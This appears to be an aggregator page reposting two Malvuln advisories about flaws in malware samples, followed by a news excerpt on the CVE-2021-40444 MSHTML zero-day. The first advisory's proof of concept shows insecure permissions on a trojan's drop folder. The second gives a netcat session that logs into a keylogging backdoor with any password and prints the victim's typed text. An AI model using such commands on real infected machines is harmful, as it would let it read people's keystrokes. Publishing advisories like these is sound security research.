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Exploit Collector
HEUR.Trojan.Win32.Generic Insecure Permissions

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
HEUR.Trojan.Win32.Generic malware suffers from an insecure permissions vulnerability.

MD5 | 7e44423a21645ab3d356add5d8025772

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a6916fb9b824e3d2edfe46be69ca2501.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR.Trojan.Win32.Generic
Vulnerability: Insecure Permissions
Description: The malware creates an dir with insecure permissions under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: a6916fb9b824e3d2edfe46be69ca2501
Vuln ID: MVID-2021-0338
Dropped files: B6232F3A578.exe, 44160A754B496CC
Disclosure: 09/09/2021
Exploit/PoC:
C:\>cacls Recycle.Bin
C:\Recycle.Bin BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>cd Recycle.Bin

C:\Recycle.Bin>dir
Volume in drive C has no label.

Directory of C:\Recycle.Bin

09/01/2021 02:05 AM 9,004 44160A754B496CC
02/10/2018 01:21 AM 204,800 B6232F3A578.exe

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Backdoor.Win32.VB.awm Authentication Bypass / Information Disclosure

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Backdoor.Win32.VB.awm malware suffers from bypass and information leakage vulnerabilities.

MD5 | 6029cf8023344fff63cf6e0a10d03b58

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2271d942a23a89d7adea524d4ac3c13f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.VB.awm
Vulnerability: Authentication Bypass - Information Leakage
Description: The "Cryptech Heat" malware listens on TCP port 3786 and has an option to set an remote access password. The malware also runs a keylogger, we see imports for GetAsyncKeyState, GetKeyState, keybd_event and GetActiveWindow modules. Third-party attackers connecting to the infected system can use any password and will essentially see anything the victim types, searches or programs they run. As all information is piped out to whatever remote endpoint is connected.
Type: PE32
MD5: 2271d942a23a89d7adea524d4ac3c13f
Vuln ID: MVID-2021-0339
Disclosure: 09/09/2021

Exploit/PoC:
nc64.exe x.x.x.x 3786
authorisation;whatever
kl;

{ WINDOW : doit - Notepad }
{CTRL}añkl;*** greetz Eduardo B!***ñ

{ WINDOW : C:\Users\Victim\Desktop\New Text Document.txt - Notepad++ }
ñkl;you know whereñkl; and you know whyñkl;, ñkl;see u soonñkl;

{ WINDOW : Administrator: Administrator Command Prompt }
ñkl;

{ WINDOW : CovertAgent Server }
{ WINDOW : Administrator: Administrator Command Prompt }
{ WINDOW : Registry Editor }
ñkl;{CTRL}

{ WINDOW : Find }
f0day_fileñkl;

{ WINDOW : Cortana }

{ WINDOW : Find }
ñkl;

{ WINDOW : Administrator: Administrator Command Prompt }
ñkl;

{ WINDOW : Program Manager }
ñkl;

{ WINDOW : mystuff }
ñkl;meet me tomorñkl;row 5th ave anñkl;d 18th str{backspc}ñkl;

{ WINDOW : Administrator: Administrator Command Prompt }
{ WINDOW : mystuff }
ñkl;p{backspc}bowñkl;eray{backspc}{backspc}{backspc}ñkl;ryñkl; and canalñkl;

{ WINDOW : Program Manager }
ñkl;

{ WINDOW : bowerynd LES - Search Results in mystuff }
{ WINDOW : Program Manager }
ñkl;

{ WINDOW : Microsoft Windows }
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Black Hat Ethical Hacking
Windows MSHTML zero-day defenses bypassed as new info emerges

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Windows MSHTML zero-day defenses bypassed as new info emergesPost Views: 39
Reading Time: 1 Minute
This Internet Explorer MSHTML remote code execution vulnerability, tracked as CVE-2021-40444, was disclosed by Microsoft on Tuesday but with few details as it has not been patched yet.
The only information shared by Microsoft was that the vulnerability uses malicious ActiveX controls to exploit Office 365 and Office 2019 on Windows 10 to download and install malware on an affected computer.

Since then, researchers have found the malicious Word documents used in the attacks and have learned new information about how the vulnerability is exploited. Why the CVE-2021-40444 zero-day is so criticalSince the release of this vulnerability, security researchers have taken to Twitter to warn how dangerous it is even though Microsoft Office’s ‘Protected View’ feature will block the exploit.

When Office opens a document it checks if it is tagged with a “Mark of the Web” (MoTW), which means it originated from the Internet.

If this tag exists, Microsoft will open the document in read-only mode, effectively blocking the exploit unless a user clicks on the ‘Enable Editing’ buttons.
https://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2021-40444/protected-view-maldoc.jpg
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Black Hat Ethical Hacking Windows MSHTML zero-day defenses bypassed as new info emerges https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Windows MSHTML zero-day defenses bypassed as new info emergesPost Views: 39 …
ility.

With these bypasses and additional use cases, CVE-2021-40444 has become even more severe than initially thought. How CVE-2021-40444 is currently used in attacksWhile we do not have the actual phishing emails used in the attacks, Beaumont has analyzed the malicious Word document to understand better how the exploit works.
Looks like this has been in the wild for a week or more. Uses the daft as F feature that allows Word to load a template from internet, that spawns IE and then trusts JS and ActiveX controls, then uses ../.. (yes it's 1999) to spawn .cpl file https://t.co/mOvaN9YLj6 pic.twitter.com/xLf2jVWyY5

— Kevin Beaumont (@GossiTheDog) September 8, 2021
See Also: Offensive Security Tool: Pegasus Spyware – Decompiled One of the known malicious Word attachments used in the attacks is named ‘A Letter before court 4.docx’ [VirusTotal] and claims to be a letter from an attorney.

Since the file was downloaded from the Internet, it will be tagged with the ‘Mark of the Web’ and opened in Protected View, as shown below.
https://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2021-40444/malicious-word-document.jpg
See Also: Hacking Stories: Andrian Lamo – The ‘homeless’ Hackerhttps://www.bleepstatic.com/images/news/Microsoft/vulnerabilities/CVE-2021-40444/side_html-file.jpg
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ility. With these bypasses and additional use cases, CVE-2021-40444 has become even more severe than initially thought. How CVE-2021-40444 is currently used in attacksWhile we do not have the actual phishing emails used in the attacks, Beaumont has analyzed…
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